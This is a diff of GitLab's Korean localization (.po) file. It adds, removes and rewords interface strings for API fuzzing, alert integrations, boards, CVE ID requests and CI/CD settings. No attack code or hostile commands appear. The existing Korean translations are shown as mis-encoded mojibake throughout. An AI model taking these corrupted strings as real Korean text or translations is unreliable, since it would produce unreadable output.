msgid_plural "%d fixed test results"
msgstr[0] "%dê±´ì˜ í…ŒìŠ¤íŠ¸ 결과를 고쳤습니다."
@@ -333,6 +341,9 @@ msgstr "%{authorsName} ì˜ ìŠ¤ë ˆë“œ"
msgid "%{board_target} not found"
msgstr ""
+msgid "%{codeStart}needs:%{codeEnd} relationships"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -345,6 +356,10 @@ msgstr "%{commit_timeago} ì— %{commit_author_link} ë‹˜ì´ ì»¤ë°‹í•˜ì˜€ìŠµë‹ˆë‹¤
msgid "%{completedCount} completed weight"
msgstr ""
+msgid "%{completedCount} of %{count} task completed"
+msgid_plural "%{completedCount} of %{count} tasks completed"
+msgstr[0] ""
+
msgid "%{completedWeight} of %{totalWeight} weight completed"
msgstr ""
@@ -370,17 +385,9 @@ msgstr "%{name}께서 %{count} ê±´ì˜ ìŠ¹ì¸"
msgid "%{count} files touched"
msgstr "%{count} 파ì¼ì´ 변경ë˜ì—ˆìŠµë‹ˆë‹¤"
-msgid "%{count} issue selected"
-msgid_plural "%{count} issues selected"
-msgstr[0] ""
-
msgid "%{count} items per page"
msgstr ""
-msgid "%{count} merge request selected"
-msgid_plural "%{count} merge requests selected"
-msgstr[0] ""
-
msgid "%{count} more"
msgstr "%{count} ê°œ ë”보기"
@@ -473,7 +480,7 @@ msgstr ""
msgid "%{group_name} uses group managed accounts. You need to create a new GitLab account which will be managed by %{group_name}."
msgstr "%{group_name}ì€ ê·¸ë£¹ 관리 ê³„ì •ì„ ì‚¬ìš© 합니다. %{group_name}를 관리 í•  새 GitLab ê³„ì •ì„ ë§Œë“¤ì–´ì•¼ 합니다."
-msgid "%{group_name}&%{epic_iid} &middot; opened %{epic_created} by %{author}"
+msgid "%{group_name}&%{epic_iid} &middot; created %{epic_created} by %{author}"
msgstr ""
msgid "%{hook_type} was deleted"
@@ -854,6 +861,9 @@ msgstr ""
msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
msgstr "GitLab Inc와 공유ë˜ëŠ” ì •ë³´ì— ëŒ€í•´ %{usage_ping_link_start}ë” ì•Œì•„ë³´ê¸°%{usage_ping_link_end}"
+msgid "%{userLinkStart}%{user}%{linkEnd} created a %{mrLinkStart}merge request%{linkEnd}:"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (머지할 수 ì—†ìŒ)"
@@ -985,6 +995,9 @@ msgstr[0] "+%d개"
msgid "+%{approvers} more approvers"
msgstr "+%{approvers}ëª…ì˜ ì¶”ê°€ 승ì¸ìž"
+msgid "+%{extra} more"
+msgstr ""
+
msgid "+%{more_assignees_count}"
msgstr ""
@@ -1058,6 +1071,10 @@ msgid "1 day"
msgid_plural "%d days"
msgstr[0] "%dì¼"
+msgid "1 day remaining"
+msgid_plural "%d days remaining"
+msgstr[0] ""
+
msgid "1 deploy key"
msgid_plural "%d deploy keys"
msgstr[0] ""
@@ -1074,6 +1091,14 @@ msgid "1 hour"
msgid_plural "%d hours"
msgstr[0] "%d시간"
+msgid "1 issue selected"
+msgid_plural "%d issues selected"
+msgstr[0] ""
+
+msgid "1 merge request selected"
+msgid_plural "%d merge request selected"
+msgstr[0] ""
+
msgid "1 merged merge request"
msgid_plural "%{merge_requests} merged merge requests"
msgstr[0] "%{merge_requests} ê±´ì˜ ë¨¸ì§€ë¦¬í€˜ìŠ¤íŠ¸ 머지ë¨"
@@ -1082,6 +1107,10 @@ msgid "1 minute"
msgid_plural "%d minutes"
msgstr[0] "%d분"
+msgid "1 month remaining"
+msgid_plural "%d months remaining"
+msgstr[0] ""
+
msgid "1 open issue"
msgid_plural "%{issues} open issues"
msgstr[0] "%{issues} ê°œì˜ ì˜¤í”ˆëœ ì´ìŠˆ"
@@ -1102,6 +1131,14 @@ msgid "1 user"
msgid_plural "%{num} users"
msgstr[0] "%{num}ëª…ì˜ ì‚¬ìš©ìž"
+msgid "1 week remaining"
+msgid_plural "%d weeks remaining"
+msgstr[0] ""
+
+msgid "1 year remaining"
+msgid_plural "%d years remaining"
+msgstr[0] ""
+
msgid "1-9 contributions"
msgstr "1 ê°œ ì´ìƒ 참여"
@@ -1219,9 +1256,6 @@ msgstr "파ì¼ì´ 발견ë˜ì§€ 않았습니다."
msgid "A file with '%{file_name}' already exists in %{branch} branch"
msgstr "'%{file_name}' 파ì¼ì€ %{branch} ë¸Œëžœì¹˜ì— ì´ë¯¸ 존재합니다"
-msgid "A fork is a copy of a project."
-msgstr ""
-
msgid "A group is a collection of several projects"
msgstr "ê·¸ë£¹ì€ ì—¬ëŸ¬ 프로ì íŠ¸ë“¤ì˜ 모ìŒìž…니다."
@@ -1231,13 +1265,10 @@ msgstr "ê·¸ë£¹ì€ GitLabì˜ ì¡°ì§ì„ 나타냅니다. ê·¸ë£¹ì„ ì‚¬ìš©í•˜ë©´ ì‚
msgid "A job artifact is an archive of files and directories saved by a job when it finishes."
msgstr ""
-msgid "A label list displays issues with the selected label."
-msgstr ""
-
msgid "A limit of %{ci_project_subscriptions_limit} subscriptions to or from a project applies."
msgstr ""
-msgid "A maximum of %{count} participants can be added"
+msgid "A management, operational, or technical control (that is, safeguard or countermeasure) employed by an organization that provides equivalent or comparable protection for an information system."
msgstr ""
msgid "A member of the abuse team will review your report as soon as possible."
@@ -1312,9 +1343,6 @@ msgstr ""
msgid "A title is required"
msgstr ""
-msgid "A user can only participate in a rotation once"
-msgstr ""
-
msgid "A user with write access to the source branch selected this option"
msgstr "소스 ë¸Œëžœì¹˜ì— ëŒ€í•œ 쓰기 ê¶Œí•œì´ ìžˆëŠ” 사용ìžê°€ ì´ ì˜µì…˜ì„ ì„ íƒí•˜ì˜€ìŠµë‹ˆë‹¤."
@@ -1333,13 +1361,25 @@ msgstr ""
msgid "API Token"
msgstr "API 토í°"
-msgid "APIFuzzing|API Fuzzing Configuration"
+msgid "API key"
+msgstr ""
+
+msgid "API version"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithPassword"
+msgstr ""
+
+msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|Authentication is handled by providing HTTP basic authentication token as a header or cookie. %{linkStart}More information%{linkEnd}."
+msgid "APIFuzzing|/folder/example_file.json"
msgstr ""
-msgid "APIFuzzing|Base URL of API fuzzing target."
+msgid "APIFuzzing|API Fuzzing Configuration"
+msgstr ""
+
+msgid "APIFuzzing|Base URL of API testing target. For example, http://www.example.com."
msgstr ""
msgid "APIFuzzing|Choose a method"
@@ -1351,6 +1391,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
msgstr ""
+msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
msgstr ""
@@ -1363,16 +1406,19 @@ msgstr ""
msgid "APIFuzzing|Enable authentication"
msgstr ""
-msgid "APIFuzzing|Ex: $TestPassword"
+msgid "APIFuzzing|Enter the name of the variable containing the password. For example, $VariableWithPassword."
+msgstr ""
+
+msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: $TestUsername"
+msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
msgstr ""
msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.json"
+msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
@@ -1381,16 +1427,16 @@ msgstr ""
msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Instead of entering the password directly, enter the key of the CI variable set to the password."
+msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
-msgid "APIFuzzing|Instead of entering the username directly, enter the key of the CI variable set to the username."
+msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1423,9 +1469,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1603,6 +1646,9 @@ msgstr "계정과 제한"
msgid "Account: %{account}"
msgstr "계정: %{account}"
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1633,10 +1679,6 @@ msgstr "추가"
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] "ì´ìŠˆ %d 추가"
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr "%{linkStart}ì—ì…‹%{linkEnd}ì„ ë¦´ë¦¬ì¦ˆì— ì¶”ê°€í•˜ì„¸ìš”. GitLabì´ ìžë™ìœ¼ë¡œ 소스 코드나 릴리즈 ì¦ê±°ì²˜ëŸ¼ ìžë™ìœ¼ë¡œ í¬í•¨í•©ë‹ˆë‹¤."
@@ -1682,6 +1724,9 @@ msgstr "GPG 키 추가"
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr "ê´€ë¦¬ìž ì‚¬ì´ë“œ ë°”ì˜ ëª¨ë‹ˆí„°ë§ ì„¹ì…˜ì— Grafana ë²„íŠ¼ì„ ì¶”ê°€í•˜ì—¬ GitLabì˜ ìƒíƒœ ë° ì„±ëŠ¥ì— ëŒ€í•œ 다양한 ëª¨ë‹ˆí„°ë§ ìžë£Œì— 액세스 하십시오."
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr ""
@@ -1757,6 +1802,9 @@ msgstr "댓글 추가"
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1784,9 +1832,6 @@ msgstr "ë©”ì¼ ë¨¸ë¦¬ë§ ë° ê¼¬ë¦¬ë§ì„ 추가하십시오. 단, ìƒ‰ìƒ ì„¤ì •
msgid "Add image comment"
msgstr "ì´ë¯¸ì§€ 댓글 추가"
-msgid "Add issues"
-msgstr "ì´ìŠˆ 추가"
-
msgid "Add italic text"
msgstr "기울임 í…스트 추가"
@@ -1814,6 +1859,9 @@ msgstr ""
msgid "Add previously merged commits"
msgstr ""
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr "ë°˜ì‘ ì¶”ê°€"
@@ -1832,6 +1880,9 @@ msgstr ""
msgid "Add to Slack"
msgstr "ìŠ¬ëž™ì— ì¶”ê°€"
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr ""
@@ -1925,6 +1976,9 @@ msgstr "추가 시간(분)"
msgid "Additional text"
msgstr "추가 í…스트"
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr "추가하기"
@@ -1952,6 +2006,9 @@ msgstr ""
msgid "Admin Area"
msgstr "ê´€ë¦¬ìž ì˜ì—­"
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2093,9 +2150,6 @@ msgstr "모든 ìž‘ì—…ì„ ì¤‘ì§€í•©ë‹ˆë‹¤. 현재 ì‹¤í–‰ì¤‘ì¸ ëª¨ë“  ìž‘ì—…ì´ ì
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminNote|Note"
-msgstr "관리 노트 | 참고"
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr "%{projectName}프로ì íŠ¸, 저장소 ë° ë¬¸ì œ, 머지 리퀘스트(MR) ë“±ì„ í¬í•¨í•œ 모든 관련 리소스를 ì˜êµ¬ížˆ 삭제하려고합니다. 확ì¸í•˜ê³  %{strong_start}프로ì íŠ¸ ì‚­ì œ%{strong_end}를 누르면 실행 취소 ë˜ëŠ” 복구를 í•  수 없습니다."
@@ -2531,6 +2585,12 @@ msgstr ""
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2577,6 +2637,9 @@ msgid "Alert"
msgid_plural "Alerts"
msgstr[0] "알림"
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -2739,6 +2802,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -2754,13 +2823,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -2769,25 +2841,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -2802,24 +2877,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -2829,6 +2916,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -2838,9 +2928,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -2877,7 +2964,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -2967,9 +3057,6 @@ msgstr ""
msgid "Allow only the selected protocols to be used for Git access."
msgstr ""
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3033,6 +3120,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3060,6 +3150,9 @@ msgstr "\"issuer\" ë˜ëŠ” \"Relying party trust identifier\" ë¼ê³ ë„ 합니다
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr "\"Relying party service URL\" ë˜ëŠ” \"Reply URL\"ì´ë¼ê³ ë„ 합니다."
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3117,6 +3210,9 @@ msgstr ""
msgid "An error has occurred"
msgstr "ì—러가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr ""
@@ -3240,6 +3336,9 @@ msgstr "ëŒ“ê¸€ì„ ì—…ë°ì´íŠ¸í•˜ëŠ” 중 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr "사ì´ë“œë°” ë°ì´í„°ë¥¼ 가져오는 중 문제가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
@@ -3252,9 +3351,6 @@ msgstr ""
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
-msgid "An error occurred while fetching the builds."
-msgstr ""
-
msgid "An error occurred while fetching the job log."
msgstr "ìž‘ì—… 로그를 가져 오는 ì¤‘ì— ì˜¤ë¥˜ê°€ ë°œìƒí–ˆìŠµë‹ˆë‹¤."
@@ -3345,7 +3441,7 @@ msgstr "파ì¼ì„ 불러오는 ë„중 오류가 ë°œìƒí•˜ì˜€ìŠµë‹ˆë‹¤."
msgid "An error occurred while loading the file. Please try again later."
msgstr ""
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3483,9 +3579,6 @@ msgstr ""
msgid "An issue already exists"
msgstr ""
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr ""
-
msgid "An issue title is required"
msgstr ""
@@ -3687,6 +3780,9 @@ msgstr "ìŠ¹ì¸ ê·œì¹™"
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] ""
@@ -3706,6 +3802,9 @@ msgid "ApprovalRuleSummary|%{count} approval required from %{membersCount}"
msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCount}"
msgstr[0] ""
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -3715,6 +3814,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr ""
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr ""
@@ -3724,9 +3826,6 @@ msgstr ""
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -3863,6 +3962,12 @@ msgid "Are you sure you want to import %d repository?"
msgid_plural "Are you sure you want to import %d repositories?"
msgstr[0] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr "저장ë˜ì§€ ì•Šì€ ë³€ê²½ì‚¬í•­ì„ ì‚­ì œí•˜ê² ìŠµë‹ˆê¹Œ?"
@@ -3923,6 +4028,12 @@ msgstr "ì´ í™˜ê²½ì„ ì¤‘ë‹¨í•˜ê¸¸ ì›í•˜ë‚˜ìš”?"
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr "ì •ë§ë¡œ %{path_lock_path}ì˜ ìž ê¸ˆì„ í•´ì œ 하시겠습니까?"
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr "%{type}: %{link_to_noteable_text} 를 êµ¬ë… ì·¨ì†Œí•©ë‹ˆë‹¤. ê³„ì† í•˜ì‹œê² ìŠµë‹ˆê¹Œ?"
@@ -3965,13 +4076,13 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
-msgid "AsanaService|Asana - Teamwork without email"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
msgstr ""
msgid "Ascending"
@@ -4396,6 +4507,9 @@ msgstr "아바타가 ì‚­ì œë©ë‹ˆë‹¤. 확실합니까?"
msgid "Average per day: %{average}"
msgstr "하루 í‰ê· : %{average}"
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr ""
@@ -4498,6 +4612,9 @@ msgstr ""
msgid "BambooService|Atlassian Bamboo CI"
msgstr ""
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr ""
@@ -4516,6 +4633,9 @@ msgstr ""
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr ""
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr "ì„ íƒí•œ 커밋으로 시작"
@@ -4540,8 +4660,8 @@ msgstr "결제"
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
-msgstr "@%{user_name}ë‹˜ì€ í˜„ìž¬ %{plan_name} í”Œëžœì„ ì‚¬ìš©í•˜ê³  있습니다."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
+msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4673,6 +4793,9 @@ msgstr[0] ""
msgid "Blocked issue"
msgstr "ì°¨ë‹¨ëœ ì´ìŠˆ"
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -4703,6 +4826,10 @@ msgstr "보드"
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4712,9 +4839,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4733,6 +4857,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4742,6 +4869,10 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4754,6 +4885,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4784,6 +4924,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5090,15 +5233,6 @@ msgstr "작성ìž"
msgid "CHANGELOG"
msgstr "변경 로그"
-msgid "CI / CD"
-msgstr "CI / CD"
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr "CI/CD 설정"
-
msgid "CI Lint"
msgstr "CI 린트"
@@ -5117,6 +5251,12 @@ msgstr "ìœ„ì˜ ìžê²© ì¦ëª…ì„ ì‚¬ìš©í•˜ì—¬ CIê°€ 실행ë©ë‹ˆë‹¤."
msgid "CI/CD"
msgstr "CI/CD"
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr "CI/CD 구성"
@@ -5205,6 +5345,27 @@ msgstr "CONTRIBUTING"
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr "콜백 URL"
@@ -5301,6 +5462,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5421,6 +5585,9 @@ msgstr "템플릿 변경"
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr "ì´ ê°’ì— ë”°ë¼ GitLab UIì—ì„œ ì—…ë°ì´íŠ¸ë¥¼ 확ì¸í•˜ëŠ” 빈ë„ê°€ 달ë¼ì§‘니다."
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr "제목 변경"
@@ -5448,6 +5615,9 @@ msgstr "Cherry-pick"
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr "Revert"
@@ -5457,12 +5627,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr "기존 변경 ì‚¬í•­ì„ ë˜ëŒë¦¬ê¸° 위해 새로운 ì»¤ë°‹ì„ ë§Œë“­ë‹ˆë‹¤."
@@ -6105,6 +6281,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
